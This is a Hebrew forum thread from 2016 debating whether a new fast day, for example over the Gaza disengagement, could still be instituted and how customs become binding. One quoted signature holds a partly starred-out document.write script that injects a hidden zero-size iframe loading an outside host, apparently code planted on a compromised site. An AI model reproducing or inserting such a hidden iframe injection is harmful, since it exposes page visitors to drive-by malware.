בית פורומים עצור כאן חושבים

יום גבר האוייב ותבקע העיר

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-23/7/2016 21:57 לינק ישיר 
יום גבר האוייב ותבקע העיר

האם בימינו יש סיכוי שיוחלט על יום צום וכולם יסכימו לקבל זאת ולצום ?

הרי ימצאו אלף ואחד תירוצים למה לא צריכים לצום 

השאלה מה הכח שהיה ביד חכמים שהצליחו להנחיל לדורות את הכח של הצום 

ניקח לדוגמא את חורבן גוש קטיף המצויין בימים אלו שהיה דורש יום צום אך לא התקבל



דווח על תוכן פוגעני

מנותק
נשלח ב-24/7/2016 08:45 לינק ישיר 

אימרה ליטאית, בתרגום חופשי מיידיש:

בשחור ובלבן - הוא והיא.
בארוך ובקצר - הוא ולא היא.
בהוא והיא - לא הוא ולא היא.



דדווח על תוכן פוגעני

מחובר
נשלח ב-24/7/2016 15:07 לינק ישיר 

גם מוסד הרבנות לא מאוחד ואם תתקבל החלטה היא תגרום לפירוד בין ספרדים לחסידים ולאשכנזים בתוך עצמם



דדווח על תוכן פוגעני

מנותק
נשלח ב-25/7/2016 12:32 לינק ישיר 

לשאלת מה היה הכח של החכמים באותה התקופה:

לדעתי משל למה הדבר דומה?

אם נמשיל את המעבר מבית המקדש השני לבית המקדש השלישי, למעבר מעיר לעיר

נראה שככל שקרובים יותר לעזיבת העיר המוארת
ונכנסים לחושך המדברי שבין עיר לעיר
ניכר יותר החורבן ולכן האנשים יכולים להזדהות עם פסיקה של חורבן

אבל בזממנו, כבר בקושי זוכרים את המעבר מהעיר אל המדבר, ויותר ניכר או לפחות הנושא המדובר הוא הכניסה לעיר החדשה, היינו בית המקדש השלישי

לכן, לא רק שאי אפשר לגזור עלינו צום נוסף, אלא אפילו הצומות הקיימים כבר איבדו את תקפן ולא צריך יותר לזרוק בונקל'ה על המתאבלים, אלא אם כן הם בוכים על משהו אחר..

דרך אגב, גם הפסיקה של אלו שתיקנו את הצומות היתה פסיקה זמנית, דהיינו שלא צריך בית דין גדול שיבטל אותה

הפסיקה היתה שהצומות מתבטלים בימות המשיח - זה שלב אחד

ואחר כך, בהמשך הגאולה גם הופכים לימים טובים [וכבר רמז על כך אהרון הכהן, יום לפני י"ז תמוז כששבר משה את הלוחות.. ואמר אהרון - חג לה' מחר]



דדווח על תוכן פוגעני

מחובר
נשלח ב-28/7/2016 21:28 לינק ישיר 

בדיוק לזה כוונתי שאנשים כיום לא יסכימו לצום על משהו מן העבר

אך מעניין שגם על חורבן גוש קטיף שזה משהו עכשוי לא הצליחו לגזור יום מיוחד



דדווח על תוכן פוגעני

מנותק
נשלח ב-29/7/2016 07:03 לינק ישיר 

תשובתך בצידך. שכחת שהיתה שואה!!!

תוקן על ידי נישטאיך ב- 29/07/2016 07:05:03




דדווח על תוכן פוגעני

מנותק
נשלח ב-2/8/2016 22:55 לינק ישיר 

יש שואה של הדור הזה ועל זה לא תיקנו צום



דדווח על תוכן פוגעני

מנותק
נשלח ב-7/8/2016 16:12 לינק ישיר 

מעמיק

אתה שואל אם תקנה של אבלות כזו או אחרת, כגון צום, היתה מתקבלת בזמננו.

ומה גורם לתקנה להתקבל.

ושים לב שיש כאן שאלה על הראוי, האם ראוי שיתקנו כזו תקנה והאם ראוי שיצייתו לה

ויש כאן שאלה על המצוי. אם נניח שיפרסמו תקנה, האם היא תחשב למחייבת, והאם יצייתו לה.

אם נבחן את התפשטותן של תקנות בדורות של התלמוד ולאחריהן, נוכל לזהות קוים לתשובה.

כדי שתהיה תקנה צריך שיהיה לה טעם, שיתמכו בה חכמים. שהיא תתפרסם. וגם אז זה לוקח זמן כדי שתהיה נפוצה.

אותם מנהגים שנכתבו בידי חכמים שגרו בקהילות שונות, איך הם מחייבים ואיך הם הפכו למחייבים (אם הם מחייבים)?

אולי מה שמכבדים אותן תקנות זו טעות?

אני מדלג על ביאור ארוך ומפורט שראוי לכתוב כאן, ומצביע על כמה נקודות חשובות.

יש כמה הבדלים בין זמננו לזמנים עברו. אחד מהם הוא הופעת הדפוס. ואחריו האינטרנט. פסקים ומנהגים שנולדים במקום אחד מתפשטים עד מהרה. ראה באשכול על תשובות הרח"ק בסמוך (לפחות בפורום של היום). מישהו הלך לשאול שאלה ונולד ספר שמופץ בכל מקום.

יש היבטים נוספים, אבל אני מדלג לנקודה אחרת.

כיצד מנהגים מתקבלים? אני סבור שזה קורה בדומה לתחום נוסף שגם בו חלים שינויים, ותופעות חדשות הופכות בהדרגה ממשהו חריג ויוצא דופן למשהו מחייב. כוונתי לתחום השפה.

יש ביטויים שיכולים להחשב לחריגים שנוצרו בידי, נניח, משוררים, או שהם תולדה של סלנג (עצם זה שמילים משתנות ומאמצות משמעות חדשה, כלומר בני אדם מעניקים להם משמעות חדשה זו תופעה ידועה וכלליה נלמדים בבלשנות). בהדרגה, מה שהוא חריג הופך לצורת ביטוי מקובלת.

אפשר לטעון כי אותו דבר קורה בתחום המנהג. מה שהוא הנהגה בודדת הופך לנחלת הכלל.

זה אומר שאם בזמננו יתחילו בקהילות מסויימות, משפחות מסויימות, לקבוע הנהגה כגון יום תענית על ההתנתקות, בעוד כמה דורות זה יהיה חלק מן המסורת. ננסה לדמיין: אם יהיו כמה מגזרים בעם ישראל המסורתי-אורתודוכסי, אז יהיו כאלו שיראו בכך חובה, יראו כאלו שיראו בכך איסור אבל הם ייחשבו לחריגים כמו נטורי קרתא של היום המתאבלים על קום המדינה, ויהיו כאלו שלא יקיימו את היום כפי שאינם צמים גם בתעניות יותר עתיקות.

יש לנו ספר שנקרא "מגילת תענית" המכיל תאריכים של ימים מיוחדים אם כי שם מדובר דווקא בימים ש"אין להתענות בהם" (כנראה תעניות מחוייבות היו נפוצות, אולי בגלל בצורות ותעניות ציבור?). הספר בימי האמוראים כבר נחשב לכזה שבטל תוקפו. האם אי פעם ישבו חכמים כדי לדון בביטול הזה או שהציבור פשוט "הצביע ברגלים" והתאריכים נשכחו ואיבדו את חשיבותם? יתכן שזה אותו מנגנון חברתי תרבותי שפועל עד היום.

לכן, אם אתה בעד תעניות או ציונים אלו ואחרים של אירועים חשובים בתולדות עמנו בארץ ישראל, לך וקבע בייעוץ עם רבנים ידועים תקנות כאלו ואחרות, וכאשר הציבור בהדרגה יתחיל לשמור עליהן, אפשר לשער שהן יועלו על ספר וצאצאי צאצאינו כבר יאמינו שהן מחייבות.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-8/8/2016 09:33 לינק ישיר 

מעניין שתעניות בה"ב בטלו כמעט מאליהן.



דדווח על תוכן פוגעני

מחובר
נשלח ב-9/8/2016 07:40 לינק ישיר 

ישנם אירועים שהיו מצריכים קביעת תענית כמו הגירוש מעזה

כי זה אירוע חריג בזמנינו שהרסו יישובים שלמים גירשו יהודים וחיללו את כבוד המת בהעברתם



דדווח על תוכן פוגעני

מנותק
נשלח ב-9/8/2016 08:04 לינק ישיר 

מעמיק

עתה עברנו מדיון על האופן שבו נוצרים מנהגים ומתקבעים כחובה אל השאלה האם ומה הופך אירוע לבולט מספיק בתודעה הפרטית ולכן הציבורית (התודעה הציבורית היא פשוט הנתון של התייחסות התודעות הפרטיות כל אחת בפני עצמה והשפעתן זו על זו).

טענת שגירוש יהודים מיישוב בנסיבות שהיו שם, כולל הרס המקום, הוא חריג. יש לבחון אם זה נכון, ובאיזו מידה זה חשוב מעבר לצרתם הפרטית של התושבים שם.

כמדומה שהשבר הגדול לא היה מחמת עקירת היישוב אלא מחמת המשתמע מכך לגבי האמון בממשלה ובמדינה והציונות, וכן הדגם של הרב קוק לגבי המדינה. הרב קוק טען שהקמת המדינה היא חלק מתהליך גאולה שבו מדינה חילונית היא רפואה למצב חולני של גלות, ואחריו יבוא חלק של תשובה שיקיף את בני המדינה. זה לא קרה. לא כפי שמצטייר מכתביו. לפי מה שכותבים חוקרים, זו היתה הפרכה של הטיעון או של התקוה של הציונות נוסח הרב קוק. ומכאן המשבר.

אני עצמי, כבן למגזר אחר, ומכיר את האירועים מרחוק, איני יודע מספיק כדי לומר אם שיקפתי נכון את המסגרת שבה קרה מה שקרה.

דומה שכל עוד טענתך היא רק זו שציינת, כלומר שהאירוע במנותק מהקשרו הוא חריג, לי קשה להסכים לזה. צריך לבחון אירועים על רצף ואז לאפיין יותר מה נקרא כאן "חריג". כמובן, אולי אני מחמיץ משהו שברור באופן אינטואיטיבי ורק אני הוא זה שאינו חש ואינו מבין.

זו הזדמנות להעלות את השאלה מדוע מות יאשיהו בקרב מול פרעה נכה, אירוע שירמיהו לא ידע לבארו, מות המלך הצדיק ביותר שעקר את הבמות והובטח לו שיחיה זמן רב, דווקא האירוע הזה אין לו יום צום בלוח השנה. ואילו מות גדליה בן עמיקם, השריד האחרון לשלטון יהודי אוטונומי, דווקא הוא הפך ליום צום. אפשר להציע חילוקים, כגון שמות גדליה היה חיסול הסיכוי האחרון להשתקמות יהודית. ועדיין, אילו היה זה להפך, גם אז קביעת התאריכים היתה מתקבלת על הרגש. דומה שלא רק תחושה פנימית קובעת מתי להגיב אלא גם תהליך הבחירה עצמו. אם אני בוחר להתמקד באירוע עצוב ככל שיהיה אזי יצרתי ממנו תאריך לאומי. ואם לא אז לא.

***
לא ידוע לי על עקירת בתי קברות באירוע של ההתנתקות. אבל הטענה שעקירת קברים מצדיקה קביעת יום אבל נראית לי תמוהה ביותר. ולא רק בגלל דעתי השלילית על התחזקות פולחן המוות, אם אכנה אותו כך, בתוך המסורת.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-10/8/2016 01:00 לינק ישיר 

מיימוני כתב:
מעמיק

***
לא ידוע לי על עקירת בתי קברות באירוע של ההתנתקות. אבל הטענה שעקירת קברים מצדיקה קביעת יום אבל נראית לי תמוהה ביותר. ולא רק בגלל דעתי השלילית על התחזקות פולחן המוות, אם אכנה אותו כך, בתוך המסורת.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



האם אתה לא מאמין במנוחת המת לאחר מיתתו עד כדי שנאמר במת מצוה שאין להזיזו ממקומו כי קנה את מקומו



דדווח על תוכן פוגעני

מנותק
נשלח ב-10/8/2016 01:30 לינק ישיר 

מעמיק יקירי

כדאי לפתוח אשכול חדש: מה קורה למת לאחר מיתתו ואיך זה קשור לגויה.

כבר היו דיונים על זה אי שם בפורום. אבל תמיד אפשר לדון שוב. ויש כאן בהחלט נקודות שכדאי לחשוב עליהן מחדש.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-10/8/2016 16:26 לינק ישיר 

.

היתה גזירה על לימודי הליבה, וזה חמור מפוגרום כידוע.
וכי נגזרה על כך תענית?



דדווח על תוכן פוגעני

מנותק
נשלח ב-12/8/2016 10:15 לינק ישיר 

מואדיב כתב:
.

היתה גזירה על לימודי הליבה, וזה חמור מפוגרום כידוע.
וכי נגזרה על כך תענית?


קודם כל לא היתה גזירה וגם אם כן לא מחייבים רק מתנים קבלת תקציב מהמדינה בלימוד שכזה

ותמיד אפשר לבחור לוותר על כסף בשביל עקרונות



דדווח על תוכן פוגעני

מנותק
נשלח ב-14/8/2016 10:01 לינק ישיר 

אחרי קריאת הקינות מתגלה לי אולי הטעם שלא תיקנו עוד כי קשה להתחבר לטקסט שלא כל כך מובן

אולי אם היו עושים נוסח היום זה היה יותר קריא ומובן וקל יותר להתחבר



דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > יום גבר האוייב ותבקע העיר
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 לדף הבא סך הכל 2 דפים.